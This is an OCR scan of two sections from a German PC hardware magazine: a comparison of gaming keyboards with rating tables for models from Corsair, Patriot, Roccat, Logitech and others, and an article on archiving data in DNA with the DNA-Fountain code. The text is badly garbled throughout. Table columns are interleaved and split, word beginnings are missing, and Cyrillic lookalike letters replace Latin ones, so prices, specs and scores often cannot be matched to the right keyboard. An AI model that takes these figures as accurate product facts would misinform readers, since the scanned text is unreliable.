ein Atmungseffekt in der Gaming- 


Software bereit. Die Software 


wie beim Test des G Pro Gaming 
Keyboards, ebenfalls mit ihrer ein- 
fachen Bedienung bei der Profilver- 


sowie Makroprogrammierung po- 
sitiv auf. Die Funktion, mit der der 
Spieler wählen kann, welche Tasten 
er neben der Win-, der Alt- und der 
Fn-Taste im Gaming-Modus noch 
per Еп + F8 deaktivieren möchte, 


e vie- 


fällt, 


TASTATUREN FÜR 
SPIELER 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


Hardware 


K95 RGB Platinum 


Corsair (www.corsair.com/de-de) 


waltung (sechs Profile speicherbar) 


ist auch wieder mit an Bord. Zur 
weiteren Ausstattung gehören ein 
USB-Hub, der 26-Key-Rollover, die 
1.000 Hz Polling-Rate, die Medien- 
steuerung per Doppelbelegung so- 
wie zwölf zusätzliche Tastenkappen. 
Obwohl die G413 Carbon über keine 
Handballenablage verfügt, geht die 
Ergonomie aufgrund des flachen 


Das Alleinstellungsmerkmal der Isku+ Force FX sind sechs drucksensitive Tasten (QWEASD), 
die analog (Druckstufen) und nicht digital (gedrückt/nicht gedrückt) ausgelöst werden. 


Viper V760 
Patriot (https://patriotmemory.com) 


Isku+ Force FX 


Roccat (www.roccat.org) 


Gram Spectrum 
Tesoro (www.tesorotec.com) 


Preis/Preis-Leistung 


Ca. € 200,- Euro/ausreichend bis befriedigend 


Ca. € 120,- Euro/gut bis sehr gut 


Ca. € 110,- Euro/gut 


Ca. € 120,- Euro/gut 


PCGH-Preisvergleich 


www.pcgh.de/preis/1572533 


www.pcgh.de/preis/1539759 


www.pcgh.de/preis/1558265 


www.pcgh.de/preis/1561234 


Bauart/Anschluss 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


tung mit elf Effekten und vier individuellen 
rofilen, sechs Makrotasten (G1 bis G6), Taste 
Or die Beleuchtung/Profilwahl/Sperrung der 
Windows-Taste, fünf separate Multimediata- 
sten, Scrollrad für Lautstärke, Makrofunktion, 
8 MByte Speicher (drei Profile und Makros), 
KRO, 1.000 Hz Polling Rate, zehn zusätzliche 
astenkappen + Abziehwerkzeug 


mit elf Effekten und fünf individuellen Modi (14 
Beleuchtungskontrolltasten), sechs Multimedia- 
tasten (Doppelbelegung 1 bis 6), Makrofunkti- 
on, Speicher für sechs Profile und Makros, Taste 
ür Gamer-Modus (Win-Taste ist gesperrt), 
NKRO, 1.000 Hz Polling-Rate, Werkzeug zum 
Abziehen der Tastenkappen 


Ausstattung (20 %) 1,32 1,90 1,65 2,10 
Kabellänge Са. 180 cm Ca. 150 cm Ca. 180 cm Ca. 180 cm (abnehmbar) 
Handballenablage Ja (abnehmar) Ja (dockt magnetisch an) Ja Nein 
Beleuchtung/Feature- und Effektumfang/ | Ja, RGB-Beleuchtung, vier Helligkeitsstufen Ja, RGB-Beleuchtung, stufenlos dimmbar Ja, RGB-Beleuchtung (nicht individualisierbare |Ja, RGB-Beleuchtung, fünf Helligkeitsstufen 
Effekt per Taste abrufbar (programmierbare Einzeltastenbeleuchtung im | (programmierbare Einzeltastenbeleuchtung Tasten Vollbeleuchtung, sechs Helligkeitsstu- |(ргодгаттіеграге Einzeltastenbeleuchtung 
vollen RGB-Farbspektrum mit elf Effekten [vier |іт vollen RGB-Farbspektrum mit elf modifi- fen)/gut: sechs Effekte/nein im vollen RGB-Farbspektrum mit sieben Ef- 
für dass Void-Headset] und vier Modi für die |zierbaren Effekten sowie fünf individuellen fekten und fünf individuell programmierbaren 
individuelle Einzeltastenbeleuchtung)/ja, drei | Beleuchtungsprofilen)/Ja, Einzeltastenbeleuch- Profilen)/ja 
Effekte per Profilwahltaste tung programmier- und speicherbar/alle Effekte 
inklusive Richtung/Geschwindigkeit per Taste 
aufrufbar/modifizierbar 
Tastenanzahl 121 Tasten 107 Tasten 120 Tasten 107 Tasten 
USB-Ports/Soundanschlüsse а, 1 x USB 2.0/nein Ja, 1 x USB 2.0/nein Nein/nein Nein/nein 
Extras rogrammierbare RGB-Einzeltastenbeleuch- Programmierbare RGB-Einzeltastenbeleuchtung | Nicht individualisierbare RGB-Tastenvoll- rogrammierbare RGB-Einzeltastenbeleuchtung 


beleuchtung (deaktivierbar/Effekte nur per 
Software aufrufbar), sieben dedizierte Multi- 
mediatasten, drei Daumentasten, fünf Makro- 
tasten, Makrofunktion mit Direktaufzeichnung, 
Speicher für fünf Profile und über 180 Makros, 
Kabelkanäle auf der Rückseite, 1.000 Hz 
Polling-Rate 


mit sieben Effekten und fünf individuellen Pro- 
Пеп, sechs Multimediatasten (Doppelbelegung 
7 bis F12), Makrofunktion (mit Direktauf- 
zeichnung), 512 kb Speicher (fünf Profile und 
Makros), ARM Cortex CPU (32 Bit), Umschal- 
tung zwischen NKRO und 6KRO, 1.000 Hz Pol- 
ing-Rate, Tastensperre für de Windows-Taste 
(Fn + Pause) und alle Tasten (Fn + F6) 


Höhenverstellung 
Eigenschaften (20 %) 
Tastaturlayout/Übersichtlichkeit 


a 
1,41 
ull-Size (Standard MF/ISO)/sehr gut 


a 
1,48 
ull-Size (Standard MF/ISO)/sehr gut 


Ja 
1,60 
Full-Size (Standard MF/ISO)/gut bis sehr gut 


a 
1,64 
ull-Size (Standard MF/ISO)/sehr gut 


Tastenhöhe (Haupttasten) 


Normal 


Normal 


Mittelhohe Tastenkappen 


Mittelhohe Tastenkappen (Höhe: 6,2 mm) 


Ergonomie/Rutschfestigkeit 


Sehr gut/sehr gut 


Sehr gut/sehr gut 


Sehr gut/sehr gut 


Gut/gut bis sehr gut 


Windowstasten a, per Taste deaktivierbar a, per Tastenkombination deaktivierbar Ja, per Taste deaktivierbar a, per Tastenkombination deaktivierbar 
Abmessungen (L x B x H)/Gewicht 46,5 x 17,1 x 3,6 cm /ca. 1.324 Gramm 46,6 x 20,3 x 4,0 cm/ca. 1.230 Gramm 50,0 x 24,5 x 2,5 cm/ca. 1.000 Gramm 44,5 x 13,6 x 2,45 cm/ca. 1.120 Gramm 
Leistung (60 %) 1,35 1,35 1,55 1,45 

Tastenanschlag/Druckpunkt Sehr gut/sehr gut Sehr gut/sehr gut Gut bis sehr gut/gut bis sehr gut Sehr gut/sehr gut 


Schalterart/Aktivierungsdruck 


Cherry MX Speed RGB (Linear, 45 cN [0] +15 
cN [g],1,2 + 0,4 mm Auslöseweg und 3,4 
+0,4 mm Betätigungsweg, transparentes 
Schaltergehäuse) 


Kailh RGB Brown (taktil: haptisch, 45 /55 cN 
[g], 2,0 mm Auslöseweg, 4 mm Betätigungs- 
weg, einfarbiges Schaltergehäuse) 


Gummidom-Tastenschalter mit hoher 
Druckkraft und definiertem Anschlag (Po- 
Iymer Piezoelectric Composite Layer für die 
QWEASD-Tasten) 


esoro Agile Swirtch (linear, 45 cN [g]; 1,5 mm 
Auslóse- und 3,5 mm Betätigungsweg, trans- 
parentes Schaltergehäuse) 


Key Rollover 


NKRO (USB-Port) 


NKRO (USB-Port) 


Keine Angabe 


6KRO/NKRO (USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Gut/sehr umfrangreich 


Sehr gut/umfangreich 


Sehr gut/sehr umfrangreich 


Befriedigend/umfrangreich 


Software: Beleuchtungsprogrammierung/ 
Effekte 


Drei Beleuchtungsprofile in der teils etwas kom- 
plizierten Software erstellbar/elf Effekte und vier 
Modi bei der Einzeltastenprogrammierung (je 
ein Effekt pro Profil speicher- und abrufbar) 


Fünf Individuelle Beleuchtungsprofile ohne 
Software erstellbar/11 Effekte und acht Modi (4 
x Richtung, 2 x Helligkeit, 2 x Geschwindig- 
keit) per Taste wählbar 


Einfache Beleuchtungsprogrammierung für 
fünf Profile/sechs vorgegebene Effekte (per 
Software) 


Fünf Individuelle Beleuchtungsprofile per Soft- 
ware erstellbar/acht Effekte per Taste wählbar 


FAZIT 
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© Ausstattung inkl. Beleuchtungseffekte 
© Eigenschaften Cherry MX Speed RGB 


© Beleuchtung: alle Effekte per Taste 
© Ergonomie dank Handballenablage 


Frei programmierbare Makros Ja (zeitverzögert, inklusive Speicher) Ja (zeitverzögert, inklusive Speicher) Ja (zeitverzögert inklusive Speicher und Direkt- |Nein 
aufzeichnung) 
Office-/Spiele-Tauglichkeit Sehr gut/sehr gut Sehr gut/sehr gut Gut bis sehr gut/sehr gut Sehr gut/sehr gut 


© Ausstattung, u.a. Force-FX-Technik 
© Druckpunkt/Anschlag Gummidom-Tasten 


© Ergonomie (gummierte Handballenablage) © Ausstattung und Leistung/niedriger Preis © M-Tasten zu nah am Haupttastenfeld 


Wertung: 1,36 


Wertung: 1,49 


Wertung: 1,58 
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© RGB-Beleuchtungseffekte per Taste 
© Lautheit/kurzer Auslösepunk der Schalter 
© Beleuchtungsprofile nur per Software 


Wertung: 1,62 
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Gehäuses mit geringem Anstiegs- 
winkel in Ordnung. Die Romer-G- 
Tastenschalter sorgen nicht nur we- 
gen ihres spürbaren Druckpunkts 
und geringen Auslösedrucks für ein 
angenehmes Gefühl beim Spielen 
und Tippen. Auch ihre Mechanik 
ist leise und die Key Caps werden 
gleichmäßig und mit wenig Streu- 
ung ausgeleuchtet. 


Vpro V5005: Kompakt, sehr günstig, 
aber mit schlichter Software. Die 
zweite Tastatur ohne Nummern- 
block kommt von Vpro und macht 
mit ihrem günstigen Preis von nur 


50 Euro auf sich aufmerksam. Dafür 
erhält man ein kompaktes Keyboard, 
das mit einer orangen Beleuchtung 
(Atmungseffekt und reaktiver Mo- 
dus), einer Windows-Tastensperre, 
einer in der Software wählbaren 
Polling-Rate sowie einem 2 MB gro- 
fsen Speicher für fünf Profile inklu- 
sive Makros ordentlich ausgestattet 
ist. Wie bei den meisten mechani- 
schen Tastaturen im Preisbereich 
um 50 Euro fällt auch bei der Vpro 
V500S die Software nur rudimentär 
aus. Zusätzlich fehlt eine Dokumen- 
tation zu den Software-Optionen 
und dem Gaming-Modus, der per 


M-Taste einschaltbar ist und der die 
für das gewählte Profil erstellten 
Makros aktiviert. Da die V500S kei- 
ne Handballenablage besitzt, fällt 
die Ergonomie nur durchschnitt- 
lich aus. Fehlende Gummielemen- 
te an der Hóhenverstellung lassen 
die V500S ins Rutschen kommen, 
wenn diese ausgeklappt ist. Dank 
ihres zweifachen Feedbacks (hap- 
tisch und akustisch) eignen sich die 
blauen Kailh-Schalter sehr gut für 
eine Mehrfachbetätigung. Dabei ist 
zwar ein deutliches Federpingen zu 
hóren, darüber kann man bei einem 
Spartipp jedoch hinweghóren. (f$) 


Fazit Нагйшаге 
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Corsairs K95 RGB Platinum überzeugt 
mit einer tollen Ausstattung und Spit- 
zenleistung — für die 200 Euro fàllig 
werden. Die Patriot Viper V760 ist eine 
bezahlbare Alternative, welche die K95 
RGB Platinum bei den RGB-Lichtspie- 
lereien noch übertrumpft. Wem eine 
Beleuchtungsfarbe reicht, der spielt mit 
der Rush G1 Silent sehr gut und dank 
Handballenablage ermüdungsfrei. Mit 
einem Preis von 50 Euro versucht Vpro 
dem sparsamen Spieler die kompakte 
V500S schmackhaft zu machen. 


TASTATUREN FÜR 
SPIELER 


Auszug aus Testtabelle 
mit 45 Wertungskriterien 


Produktname 
Hersteller (Vertrieb) 


G Pro Gaming Keyboard 


Logitech (www.logitech.de) 


Rush G1 Silent 


Fnatic Gear (www.fnatic.com) 


G413 Carbon 


Logitech (www.logitech.de) 


V500S 


Vpro (www.vpro-gaming.com) 


Preis/Preis-Leistung 


Ca. € 150,- Euro/befriedigend 


Ca. € 90,- Euro/gut 


Ca. € 100,- Euro/befriedigend bis gut 


Ca. € 50,- Euro/seht gut 


PCGH-Preisvergleich www.pcgh.de/preis/1589530 


www.pcgh.de/preis/1620989 


www.pcgh.de/preis/1611062 


www.pcgh.de/preis/1592673 


Bauart/Anschluss 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


Kabeltastatur/USB 2.0 


‚Ausstattung (20 %) 2,17 2,50 2,90 2,90 
Kabellänge Ca. 180 cm (abnehmbar) Ca. 180 cm Ca. 180 cm Ca. 200 cm 
Handballenablage ein Ja Nein Nein 


Beleuchtung/Feature- und Effektumfang/ 
Effekt per Taste abrufbar 


a, RGB-Beleuchtung ohne Helligkeitsstufen 
(programmierbare Einzeltastenbeleuchtung im 
vollen RGB-Farbspektrum mit 16 individuellen 
Effekten [z.B. Explosion oder Rainbow Ripple], 
ünf Standardeffekte [z.B. Atemeffekt oder 
Farbwelle] und Beleuchtungszonen)/nein, 
Lichteffekte nur in der Logitech-Gaming-Soft- 
ware auswählbar 


Ja, einfarbig (Rot), vier Helligkeitsstufen/ 
ausreichend: Vollbeleuchtung und ein At- 
mungseffekt/ja 


Ja, einfarbig (Rot), fünf Helligkeitsstufen/ausrei- 
chend: Vollbeleuchtung, ein Atmungseffekt per 
Software wählbar/nein 


Ja, einfarbig (Orange), drei Helligkeitsstufen/ 
ausreichend: Vollbeleuchtung, ein Atmungsef- 
fekt und ein reaktiver Modus wählbar/ja 


Zonenbeleuchtung per Logitech-Gaming-Soft- 
ware, sieben Multimediatasten (Doppelbe- 
egung F9 bis F12 sowie oberste Reihe des 
ittelblocks), Makrofunktion (Software), Pro- 
ilspeicher (sechs Profile, Umschalttaste in der 
Software wählbar), Gaming Modus (Tasten per 
Software deaktivierbar), 1.000 Hz Polling-Rate 


Atemeffekt per Taste), sechs Multimediatasten 
(Doppelbelegung F1 bis F6), Makrofunktion 
mit Profilspeicher (128 kb für fünf Profile 

mit jeweils zehn Tastenmakros [maximal 26 
Zeichen]), Profilwahltasten (Doppelbelegung 

7 bis F11), Umschalttaste für NKRO/6KRO (Fn 
+ N), Gaming-Modus-Taste (Windows Taste 

ist deaktiviert) 


Atemeffekt per Software), sieben Multimedia- 
tasten (Doppelbelegung F9 bis F12 sowie 
oberste Reihe des Mittelblocks), Makrofunktion 
(Software), Profilspeicher (sechs Profile, Um- 
schalttaste in der Software wählbar), Gaming 
odus (Tasten per Software deaktivierbar), 
1.000 Hz Polling-Rate, zwölf zusätzliche Tasten- 
kappen, Abziehwerkzeug für Tastenkappen 


Tastenanzahl 90 Tasten 107 Tasten 107 Tasten 92Tasten 
USB-Ports/Soundanschlüsse ein/nein Ja, 2 x USB 2.0/nein Ja, 1 x USB-Port/nein Nein/nein 
Extras RGB-Einzeltastenbeleuchtung (21 Effekte und | Einfarbige Beleuchtung (Vollbeleuchtung, ein |Einfarbige Beleuchtung (Vollbeleuchtung, ein | Einfarbige Beleuchtung (Vollbeleuchtung, ein 


Atemeffekt, ein reaktiver Modus), Makro- 
unktion (Software, 90 Tasten frei belegbar, 
maximal 160 Zeichen), Profilspeicher (2 MB, 
ünf Profile), 32-Bit ARM-CPU (60 MHz) NKRO, 
1.000 Hz Polling-Rate, Win-Taste per Knopf- 
druck abschaltbar (Gaming Modus) 


Höhenverstellung 
Eigenschaften (20 %) 
Tastaturlayout/Übersichtlichkeit 


a, zweifach 
2,00 


enkeyless (Standard US-Tastenlayout ohne 
ummernblock)/gut 


a 
1,68 
ull-Size (Standard MF/ISO)/sehr gut 


a 
1,64 
Full-Size (Standard MF/ISO)/sehr gut 


a 
2,29 


enkeyless (Standard MF/ISO ohne Nummern- 
block)/gut 


Tastenhöhe (Haupttasten) отта! Normal опта! Мопта! 

Ergonomie/Rutschfestigkeit Gut/sehr gut Gut bis sehr gut/gut bis sehr gut Gut/sehr gut Befriedigend bis gut/befriedigend 
Windowstasten a, per Taste deaktivierbar а, per Tastenkombination deaktivierbar a, per Tastenkombination deaktivierbar а, per Taste deaktivierbar 
Abmessungen (L x B x H) 36,0 x 15,3 x 3,4 cm/980 Gramm 44,8 x 14,8 x 3,3 ст/са. 1.275 Gramm 44,5 x 13,2 x 3,4 cm/1.105 Gramm 35,1 x 14,2 x 3,67 cm/ca. 975 Gramm 
Leistung (60 %) 1,35 1,45 1,45 1,45 

Tastenanschlag/Druckpunkt Sehr gut/sehr gut Sehr gut/sehr gut Sehr gut/sehr gut Sehr gut/sehr gut 


Schalterart/Aktivierungsdruck 


Romer G (Taktil, haptisch, 45 cN [g]; 1,5 mm 
Auslóse- und 3 mm Betátigungsweg, transpa- 
rentes Schaltergeháuse) 


Cherry MX Silent Red (Linear, 45 cN [g]; 2 mm 
Auslöse- und 4 mm Betätigungsweg, einfar- 
biges Schaltergehäuse) 


Romer G (Taktil, haptisch, 45 cN [g]; 1,5 mm 
Auslóse- und 3 mm Betätigungsweg, transpa- 
rentes Schaltergehäuse) 


Kailh Blue (Taktil, haptisch und akustisch, 50 
cN [g]; 2 mm Auslóse- und 4 mm Betátigungs- 
weg, transparentes Schaltergehäuse) 


Key Rollover 


26KRO (USB-Port) 


6KRO/NKRO (USB-Port) 


26KRO (USB-Port) 


NKRO (USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Sehr gut/sehr umfangreich 


Gut/wenig umfangreich 


Sehr gut/sehr umfrangreich 


Befriedigend/wenig umfangreich 


Software: Beleuchtungsprogrammierung/ 
Effekte 


Sehr einfache Beleuchtungsprogrammierung 
mit 16 vorgefertigten Effekten und fünf Stan- 
dardeffeken, Zonenbeleuchtung, Gamer-Modi 
(per Logitech-Gaming-Software einstellbar) 


Keine Beleuchtungsprogrammierung möglich/ 
nur Helligkeit und Atmungseffekt per Taste 
wählbar 


Keine Beleuchtungsprogrammierung, nur ein 
Atmungseffekt inklusive Geschwindigkeit in der 
Software einstellbar 


Keine Beleuchtungsprogrammierung in der 
Software vorhanden, nur zwei Effekte per 
Taste wählbar 


Frei programmierbare Makros 


Ja (zeitverzögert, inklusive Speicher) 


Ja (zeitverzögert, Abspielen per Profilwahl 
möglich) 


Ja (zeitverzögert, inklusive Speicher) 


Ja (zeitverzögert, 90 der 92 Tasten für Makros 
nutzbar) 


Office-/Spiele-Tauglichkeit 


FAZIT 
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Gut/sehr gut 


Sehr gut/sehr gut 


Sehr gut/sehr gut 


© Geringe Lautheit/Ausleuchtung Key Caps © Tippefühl/leise Cherry-MX-Silent-Schalter © Geringe Lautheit der Romer-G-Schalter 


© Software/sehr viele RGB-Lichteffekte 


© Keine Handballenablage/US-Tastenlayout 


Wertung: 1,64 
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© Ergonomie (Handballenablage)/Preis 
© Keine Beleuchtungsprogrammierung 


Wertung: 1,71 


© Software: Umfang und Bedienung 
© Keine Handballenablage/nur ein Lichteffekt 


Wertung: 1,78 


Gut/gut bis sehr gut 


© Verhältnis Preis und Ausstattung 
Q Druckpunkt/Anschlag Kailh-Blue-Schalter 
© keine anwenderfreundliche Software 


Wertung: 1,91 
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Speicherprobleme ade 


Ob Papier, DVD oder SSD: Speicher altern und verlieren Daten. Mit einem neuen Verfahren könnten 


Forscher 215 Petabyte Tausende von Jahren in einem Gramm der Erbsubstanz speichern — der DNA. 


ank der Digitalisierung un- 
DE analogen Welt wurden 
laut IDC (International Data Cor- 
poration) 2016 neun Zettabytes an 
Daten generiert - das sind neun 
Billionen Gigabyte an Einsen und 
Nullen. Diese Datenmengen ent- 
stehen mittlerweile exponentiell 
- bis 2020 soll sich der digitale Me- 
dienpool vervierfacht haben und 
auf astronomische 44 Zettabytes 
anschwellen. 


Ein Manko heutiger Speicherme- 
dien ist die Lebensdauer. Festplat- 
tenlaufwerke halten in der Regel 


96 


PC Games Hardware | 07/17 


zwischen vier und sechs Jahren, 
Flash-Speicher schaffen je nach 
Nutzung fünf bis zehn Jahre und 
die Haltbarkeit optischer Datenträ- 
ger wird maximal auf mehrere Jahr- 
zente geschätzt. Selbst geduldiges 
Papier hält bei guter Lagerung und 
entsprechender Behandlung „nur“ 
einige hundert Jahre. 


Selbst wenn große Datenzentren 
mit herkömmlichen Speicherme- 
dien versuchen würden, der kom- 
menden Datenexplosion gerecht 
zu werden: Solch ein Ort würde 
Unmengen an Geld und Energie 
verschlingen. In Zukunft wird man 


den Datenmengen und der gerin- 
gen Halbwertszeit herkömmlicher 
Datenträger wohl kaum noch be- 
gegnen können - ein neuer Ansatz 
in der Speichertechnologie muss 
her. 


Digitalarchivare müssen regelmä- 
fig ihre Bestände umkopieren, 
damit diese auch weiterhin zu- 
gänglich sind und es nicht zu einer 
digitalen Amnesie kommen kann. 
Wie kann man diesen Problemen 
nur begegnen? Ein Blick in die Na- 
tur lohnt sich, denn im Laufe einer 


Jahrmillionen Evolution 
kann sich meist ein erfolgreicher 
Ansatz etablieren. Das Speicherdi- 


lemma unserer modernen digitali- 


langen 


sierten Zivilisation wurde bereits 
durch ein langkettiges Polymermo- 
lekül gelöst: Die Desoxyribunukle- 
insäure (DNA) - der Stoff unserer 
Erbsubstanz. Die Information über 
die Konstruktion eines Lebewe- 
sens, wie es sich verhält und aus- 
sieht, wird in solch einem Molekül 
gespeichert - auch bei uns. 


Das Unglaubliche an diesem Spei- 


chermedium ist, dass die gespei- 
cherte Information deutlich länger 
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abrufbar ist. Problemlos können 
Daten mehrere 1.000 Jahre unbe- 
schadet archiviert werden. Dies 
bewiesen 2008 Forscher von der 
Pennsylvania State University. Zum 
ersten Mal gelang es dort, das Ge- 
nom eines seit tausend Jahren aus- 
gestorbenen Wollhaarmammuts 
erfolgreich zu sequenzieren und 
70 Prozent der genetischen Infor- 
mation zu entschlüsseln. 


So speichert man mit DNA-Fragmenten Dateien ab 


Den Forschern aus New York ist es gelungen, durch einen modifizierten Algorithmus aus dem Rundfunkbereich 
Dateien fehlerfrei in DNA-Molekülen abzuspeichern und wieder auszulesen. Mit dieser Technik könnte man bis 
zu 215 Petabyte Tausende von Jahren aufbewahren. 


b 


PC 


Zunächst werden die Dateien 
in einem Archiv komprimiert. 
Neben unterschiedlichen Medi- 
en befand sich ein vollkommen 
funktionsfáhiges OS in der 
Testdatei. 


Knapp 20 Kilo reichen aus 

Die Idee, Daten in DNA zu spei- 
chern, ist bei Forschern nicht un- 
bedingt neu und wurde bereits 
mehrmals erfolgreich. umgesetzt. 
Allerdings konnten bisherige Ver- 
fahren nicht annáhernd die enor- 
me Speicherkapazität der DNA 
erreichen und wiesen zusätzlich 
noch eine hohe Fehlerrate beim + 
Auslesen auf. Durch den neuen 
Ansatz der beiden Wissenschaftler 
Yanviv Erlich und Diana Zielinski 


DNA-Fountain-Code 


Die binäre Datei wird zunächst in gleich große 
Stücke von 32 Byte zerlegt. Jedes dieser Stücke 
bekommt einen vier Byte großen , Seed" angehängt, 
sodass jedes Paket eindeutig identifiziert und zuge- 
ordnet werden kann. Zwei weitere Bytes erlauben 
eine Fehlerkorrektur mittels Red-Solomon-Algorith- 
mus. Die nun erstellten , Droplets" werden in den 
Buchstabencode der DNA übersetzt und an eine 


111[0100|1100|1101]0110|1101 


Seed 


Seed 


aus New York werden Daten dage- 
gen fehlerfrei abgespeichert und 
zudem kónnen ganze 215 Petabyte 
an Informationen in einem einzi- 
gen Gramm DNA untergebracht 
werden. Damit wäre der aktuel- 
le weltweite Speicherbedarf mit 
knapp 21 Kilogramm DNA gedeckt. 
Zum Vergleich: Mit dem ersten Ver- 
fahren aus dem Jahre 2012 würde 
man mehrere Tonnen DNA benó- 
tigen, da hier nur 1,28 Petabyte 
pro Gramm abgespeichert werden 
konnten. Das theoretische Maxi- 
mum der Speicherdichte in einem 
Gramm DNA liegt bei 680 Petabyte 
- selbst der neuste Ansatz hat noch 
Luft nach oben. 


Bits, Biologie und Basen 

Anders als in unserem binären Com- 
putersystem, in dem zwei Signale 
Daten kodieren, speichert die Natur 
Informationen quartàr mit vier Sig- 
nalen ab. Dieser DNA-Code ist dem 
Binärcode heutiger Computer des- 
halb auch sehr ähnlich und verwen- 
det statt den altbekannten Ziffern 
О und 1 die vier Basen der Desoxy- 
ribunukleinsäure. Jeder der Stick- 
stoffbasen Adenin, Thymin, Guanin 
und Cytosin wird im Vorfeld ein 
binärer Zustand zugewiesen: Aus 
{A,T,G,C} wird (00,01,10,11], sodass 
jede binäre Kombination mit Basen 
nachgebaut werden kann. Theo- 
retisch könnte so pro Base eine 
Speicherkapazität von bis zu zwei 
Bit erzielt werden, die aber durch 
praktische Limitierungen in der 
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Firma zur DNA-Synthese geschickt. 


Seed 


€—— ттт 
GCG 


DNA-Dekodierung nicht erreicht 
werden. Weist ein DNA-Molekül 
z. B. einen hohen Gehalt der Basen 
Guyanin (G) und Cytosin (C) auf 
oder besteht aus einer einzigen 
Base - ein sogenannter Homopoly- 
mer - kann es zu unerwünschten 
Lesefehlern durch räumliche Wech- 
selwirkungen oder durch Anhäu- 
fung der DNA-Fragmente kommen. 


Daten übertragen dank 
Rundfunk-Protokoll 

Wie schafft man es nun, Daten ef- 
fektiv in DNA zu speichern und 
diese dann auch noch fehlerfrei 
auszulesen? Indem man einen 
Algorithmus verwendet, der mit 
Datenfehlern umgehen kann, 
ohne dabei die Datei unleserlich 
zu machen. Ideal scheinen hier 
Technologien aus dem Streaming- 
oder TV-Bereich zu sein, wie der 
Fountain-Code, der zum Beispiel 
Anwendung im DVB-Protokoll für 
Mobilgeräte und IPTV findet. Im 
aktuellen Ansatz der New Yorker 


ATG S 
CAT — 
CTA 


Wissenschaftler wurden mehrere 
Dateien in einem 2,14 Megabyte 
großem Tarball-Archiv (Tarball ist 
ein Packprogramm in einer Unix- 
Umgebung) zusammengefasst. 
Darunter befanden sich ein voll 
funktionsfähiges grafisches Be- 
triebssystem (KolibriOS mit 1,4 
MB), ein Text des Informationsthe- 
oretikers Claude Shannon, ein fran- 
zósischer Film einer einfahrenden 
Eisenbahn, Geschenkkarte 
eines Onlinehändlers und ein Com- 


eine 
puter-Virus. 


Das Prozedere 

Genau wie bei der Übertragung 
von digitalen Videosignalen wird 
zunächst die Information in eigen- 
ständig sendbare Stücke zerlegt. 
Diese kónnten alle einzeln übertra- 
gen werden, der Algorithmus verar- 
beitet die Fragmente aber noch wei- 
ter. Die insgesamt 2,146,816 Bytes 
des Archivs werden zunächst in 
67.088 nicht überlappende, gleich 
große Datenpakete von jeweils 32 


Externe 
Firma 


Der übersandte digitale 
Buchstaben-Code wird 
durch eine darauf 
spezialisierte Firma zu 
physischen DNA-Frag- 
menten synthetisiert. 


Byte Größe zerlegt. Mittels der soge- 
nannten Luby-Transformation wird 
dann die Basis für die Kodierung 
von Daten in DNA bereitgestellt. Im 
Grunde wird hier die Information 
auf eine gewünschte Anzahl kur- 
zer Nachrichten verteilt. Die dabei 
generierten Datenfragmente, die 
sogenannten Droplets, werden mit 
einer Identifikationssequenz von 
weiteren vier Bytes versehen, um so 
die eindeutige Position im Gesamt- 
paket definieren zu können. Zwei 
weitere Bytes ermöglichen es dann 
noch, Fehler in der Datenverarbei- 
tung mittels Reed-Solmon-Algorith- 
mus auszuschließen. Die Forscher 
bezeichneten ihren DNA-Code als 
DNA-Fountain, da er auf einem 
Fountain-Code aus dem DVB-Sektor 
basiert. 


Anders als bei  Videosignalen, 
kommt ein weiterer Schritt bei 
der Kodierung zum Tragen: Die 
Droplets müssen auf die bereits er- 
wähnten Limitierungen der DNA- 
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Bild: American Heart Association, Jared M. Churko et al. 
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Dekodierung hin untersucht wer- 
den. Aus Kostengründen passiert 
dies natürlich, bevor die Informati- 
on zu einem Polymermolekül wird. 
Weist ein Droplet nun eine der 
beiden Beschränkungen auf - be- 
sitzt also einen zu hohen GC-Gehalt 
oder ist ein Homopolymer - wird 
es verworfen. Mit dieser Methode 
können aktuell Dateien mit einer 
Paketgröße von bis zu 500 Mega- 
byte kodiert werden. Schlussend- 
lich generierte der Algorithmus 
sieben Prozent mehr Droplets, als 
eigentlich nötig sind. Anhand die- 
ser Redundanz können beschädig- 
te Datenpakete wiederhergestellt 
werden und einem Informations- 
verlust vorbeugen. Insgesamt hat 
der DNA-Fountain-Code so 72.000 
Droplets erzeugt, die dann durch 
eine externe Firma zu DNA synthe- 
tisiert werden. 


Beständige Leseintegrität 

Anhand der Vorlage werden die 
DNA-Moleküle chemisch synthe- 
tisiert und können dann von den 
Forschern mittels Sequenzierung 


ausgelesen werden. Beim Auslesen 
werden heutzutage einzelne DNA- 
Moleküle durch eine Pore in einer 
künstlichen Membran geleitet. 
Dabei kommt es zu einer Potenti- 
aländerung, die für jede der vier 
Basen spezifisch ist und von einem 
Detektor erfasst wird. Mit den ge- 
wonnenen Messungen und einem 
einfachen Programm konnten die 
Sequenzen innerhalb von wenigen 
Minuten dekodiert und wieder 
zum vollständigen Archiv zusam- 
mengesetzt werden. Alle darin 
enthaltenen Dateien lagen fehler- 
frei vor und konnten einwandfrei 
genutzt werden. Selbst wenn die 
DNA-Sequenzen durch einen als 
Polymerase-Kettenreaktion (PCR) 
bekannten Kopiervorgang millio- 
nenfach repliziert wurden, können 
die Daten aus den Kopien extra- 
hiert werden. Der DNA-Fountain- 
Code erweist sich sogar als so ro- 
bust und effektiv, dass auch „deep 
copying“ einwandfrei funktioniert. 
Beim „deep copying“ werden die 
ursprünglichen — DNA-Fragmente 
mittels PCR kopiert. Diese Kopien 


werden dann erneut vervielfältigt 
und die daraus entstandenen DNA- 
Sequenzen werden ein weiteres 
Mal kopiert. Dieser Vorgang wur- 
de insgesamt neun Mal wiederholt 
und eine Beschädigung der Daten 
konnte nirgends beobachtet wer- 
den. 


K.-o.-Kriterium: Herstel- 
lungskosten 

Anders als bei heutigen Festplatten 
muss ein zusätzliches Molekül für 
die zu speichernde Information 
erstellt werden. Das heißt also, dass 
irgendjemand die DNA-Fragmen- 
te konstruieren muss. Speichert 
man dagegen Daten auf einem 
herkömmlichen Magnetfestplat- 
tenlaufwerk ab, wird eine Magne- 
tisierungsrichtung übertragen und 
kein einziges Molekül neu gebildet. 
Die Kosten für die Herstellung der 
DNA anhand der Baupläne aus 
dem Fountain-Code kosten aktuell 
knapp 3.500 US-Dollar pro Mega- 
byte (ca. 3.200 Euro/MB) - ein- 
